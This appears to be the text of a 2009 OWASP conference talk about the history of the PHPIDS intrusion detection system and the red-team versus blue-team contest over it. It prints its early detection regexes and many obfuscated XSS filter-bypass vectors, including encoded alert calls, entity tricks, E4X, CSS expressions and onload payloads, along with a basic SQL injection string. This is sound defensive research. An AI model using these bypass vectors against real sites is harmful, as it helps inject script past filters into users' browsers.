THE ULTIMATE IDS SMACKDOWN

A hopefully amusing and edutaining talk by

Gareth Heyes and **Mario Heiderich**

for OWASP London, 07.2009

Who are we?

- **Gareth Heyes**
  - Founder of Businessinfo web security
  - Contracts for Microsoft testing the XSS filter
  - Creator of Hackvertor & other security tools
  - Enjoys hacking Javascript
- **Mario Heiderich**
  - Co-founder and lead-dev of the PHPIDS
  - Websecurity and secure development geek
  - CTO for Business IN Inc.
  - Freelance security researcher
  - Believes in the infinite power of markup

What... is this talk?

- A short intro in the PHPIDS
- A travel from the very beginning to today's state
  - Accompanied by a constant state of "being owned"
  - ...positive ownage
  - ...and details on the ownage
- Some words on red vs. blue situations in (web) security
- And a conclusion that maybe might
  - ... change or view on web security
  - ... help some to get out of their boxes
  - ... and discover values greater than proprietary
- **And ... a rather dirty and sweaty cage fight**

In the blue corner...

- Announces a new IDS approach
- Thinks it knows the web after years of experience
- Did read a lot of PDFs about the interwebs - even clicked once or twice on what appeared to be a link.

In the red corner...

- Thinks blue team is crazy
- Doubts that blacklists can detect attacks
- Placed the malicious link the blue team courageously clicked on
- Was told by *(had to be removed)* in a dream it knows everything
- Likes the Matrix

Some history lessons

First PHPIDS version - the 0.0.1 from 03/2007

```
(["|'][\s]*\>) //finds html breaking injections including whitespace attacks
(["|'][\s]*\<) //finds attribute breaking injections including whitespace attacks
(\+A[\w]{2}-) //finds utf7 attacks in general
(&#[\w]+) //detects all entitites including the bizarro IE US-ASCII entitites
(\\[\w]{3}) //detects the IE hex entities
(("|')[\s]*(\)|\})) //finds closing javascript breaker including whitespace attacks
((\(|\{)[\s]*("|')) //finds opening javascript breaker including whitespace attacks
(\.\.\/\.\.) //detects basic directory traversal
(%[\w]{2}) //detects urlencoded attacks
(=\/\/) //detects protocol relative url inclusions
(¼\/) //detects US-ASCII HTML breaking code
(@import|;base64|alert\() //detects imported poisoned stylesheets, base64 attacks and all
alerts
(>[\w]=\/) //detects malformed attribute utilizing script includes
((\?\<)|(\)\>)) //detects nullparam and numeric includes
```

Receives sympathy bonus for being so adorable!
It didn't even have a name back then...

Any good fighter requires the right tools

- Enter the PHP Charset Encoder
    - Converts charsets
    - Encoding and conversion
    - Entities & lots of them
    - Is it enough?
- Hackvertor
    - Inspired by the PCE
    - Layered encoding
    - Tag based conversion
    - JS fuzzing & testing
    - Enables crazy vector creation

Lets get ready to rumble....

First round of the fight

- It didn't look too bad for the blue team
- Life was easy back them
- Some simple `"><script>alert(/XSS/)</script>`
- And a little bit of `'OR1=1--`
- The simple and bright world of kindergarten-level injections
- If we don't know obfuscation, it does not exist!

But then...

Inside the script tag

Sirdarckcat's innocent question:-

"Why not detect all forms of attack? Insert a script tag and detect malicious code"

The blue team said yes...

All hell broke loose...

It all began with strings

```
s1=''+"jav"+'';s2=''+"ascri"+'';s3=''+"pt"+'';
s4=''==''?':':
0;s5=''+"aler"+'';s6=''+"t"+'';s7=''==''?'(1)':
0;s8=s1+s2+s3+s4+s5+s6+s7;URL=s8
```

```
_=alert,1,1,_(1);
c4=1==1&&'(1)';c3=1==1&&'aler';
c2=1==1&&':';c1=1==1&&'javascript';
a=c1+c2+c3+'t'+c4;(URL=a);
```

How many ways to create a string?

- Single/double quotes
- Regular expressions
- Arrays are strings
- Array constructors are strings
- Firefox specific hacks
- Backslash multiline strings
- DOM properties galore
- E4X
- Octal, unicode hex Escapes

alert(1) examples

Octal, hex and Unicode escapes:-

```
'\141\154\145\162\164\50\61\51'
'\x61\x6c\x65\x72\x74\x28\x31\x29'
'\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029'
```

RegExps:-

```
/alert(1)/.source
/alert(1)/[-1] // FF only
```

E4X:-

```
<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>
<>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</>
```

Browser bugs are your friend

- Firefox 2 supported encoding of parenthesis using unicode escapes.

```
alert(1)==
\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
```

- E4X - every object has e4x properties! Bug?

```
(!1..@*::abc?alert:1..@*::xyz)(1)
```

- Eval method linked to every object, that was fun

```
(0)['eval']('alert(1)')
```

- Data URLs used to inherit domain injected on - sometimes they still do

So - what to do at this point?

- What do you say blue team?
- Give up?
- Or.. maybe... give up?
- Or...
- Face the problem and canonicalize!

We chose...

- The latter
- Because of the breast-hair (native - not implanted).
- And introduced the Converter
- That was around late spring 2008
- May 2008 to precise in rev .899
- We could now convert and canonicalize the strings before hitting the rules
- Keeping the core rules slim - and the blue team prepared for more vector madness

Time for entity and encoding fun....

- Oh noez - the red team reacts!
- Malformed entities
- Zero padded
- Mixed hex/dec
- Encoded data urls
- Base64 - **fun fact:** that really generated headaches for the blue team
- Unexpected unicode characters
    - Unicode spaces
    - Allowed padding

```
a&#8205lert(1) // FF2 stuff
ale&zwj;rt(1) // Zero width joiner FF2
```

Entity fun continued....

- Double encoded entities
  - <isindex/type=image xyz=&lt; iframe/src=javascript**&amp;#x3a&amp;#x61lert&amp;#x28&amp;#x31&amp;#x29&gt;** onerror=undefined,/\//,outerHTML=xyz src=1>
  - <img title=javascript:**&amp;#97**lert(1) src="x" alt="y"onerror=undefined,[undefined,[UR&#76&#61title],undefined]>

Forgotten features

- Getters/Setters
  - `o={b setter:Function}.b='alert\x28\x31\x29'; new o`
- Language attribute IE
  - `<body/id="1"onload=MsgBox+"xss" language=vbs>`
- Data Islands, HTC, HTA...
- Ways to change the location
  - Detect `location=name` w/o false alerts for a start
- JS based CSS expressions
  - `document.styleSheets(0).cssText=name`
- HTML encoded comments in javascript!
  - `<body onload=&lt;!--&#10alert(1)>`

Pre-implemented future features and standards

- Video/Audio tags
- New events
    - `onurlflip, ononline, onbounce, oncellchange...`
- CSS
- Expression closures
- Array extras
- New String functions
- E4X self injecting vectors - Bypasses Mozilla CSP

```
<html><head>
<title>CSP e4x injection</title>
<script src="#"></script>
</head><body>{alert(1)}</body></html>
```

JavaScript is weird

- Math operations on functions

    -
      ```
      +alert(1);alert(1)++;.1.*in<></>in{}in[]
      in~alert('mmmmm js weirdness')++in~[]
      ```
- Strings out of large numbers

    -
      ```
      top[(Number.MAX_VALUE/45268).toString(36).
      slice(15,19)]((Number.MAX_VALUE/99808).
      toString(36).slice(71,76)+'("XSS")')
      ```
- Getting window

    -
      ```
      (0,[].sort)();(1,[].reverse)();// FF only
      ```
- Yosuke Hasegawa script without a-z0-9

    -
      ```
      (Å='',[Ç=!(µ=!Å+Å)+{}][Ç[ª=µ[++Å]+µ[Å-Å],È=Å-~Å]+Ç
      [È+È]+ª])()[Ç[Å]+Ç[Å+Å]+µ[È]+ª](Å)
      ```
- Expressions

    -
      ```
      <div style="\00078\073 s:e&#92&#120p&#47;&#42;&#106;&#42;&#47;
      \00072\00065 ssion(window.x?0:(alert(/XSS/),window.x=1));"></div>
      ```

Ssso, what did we learn today

You'll never get what you expect

- Defending against the stuff you know doesn't make you safe
- Web technologies are rocket science, browsers are monsters
- **Building an IDS is no fire and forget job**

Web technologies aren't pandora's box...
they just support it too

An IDS is a constantly evolving middleware

- Cover the RFCs, brower capabilities, web app peculiarities, encoding quirks, application bugs, etc. etc.
- There is no golden path to stride on
- Long release cycles are a no-go
- Stable trunk versus monthly releases

Community IDS versus commercial products

- Where are the smoketests, where are the challenges
- Where's the hive mind knowledge
- Utilizing pressure for better product quality
    - Faster fixes
    - New approaches
    - Better communication with users amd attackers
- And a lot of WAFs with questionable XSS protection
- No vendor names.. no worries :)
- WafW00f, XSS on vendor sites, obvious circumventions

Quintessence

»Bruce Schneier«

Maybe...

- Security - especially web sec is ***no lone wolf mission***
- Locking away the rules and best practices don't always work
- Without community support it's hard to create a grown and capable product
- Link with the attackers

Generate communities and challenges

- It's a win-win anyway
- The vulnerabilities are in the design - patches can't heal the patient
- Give credit and admit that 100% security just ain't possible
- Spread knowledge to avoid having it wither

Credits

- Talking about credits
- Thanks to
  - Christian, Lars, sdc, thornmaker, ma1, lightos, Reiners, Kishor, Martin Hinks,tx, rvdh, beford, the Schokokeks team and all the other people who helped building, attacking and hardening the PHPIDS...
- And why not give us a small visit
  - http://php-ids.org
  - http://thespanner.co.uk
  - http://sla.ckers.org/forum/list.php?24

That's it for now - thanks!

Red team couldn't resist.....

```
Image() .
ownerDocument .
documentElement .
innerHTML+=name
```

The red team - attempting to infiltrate the blue team's camp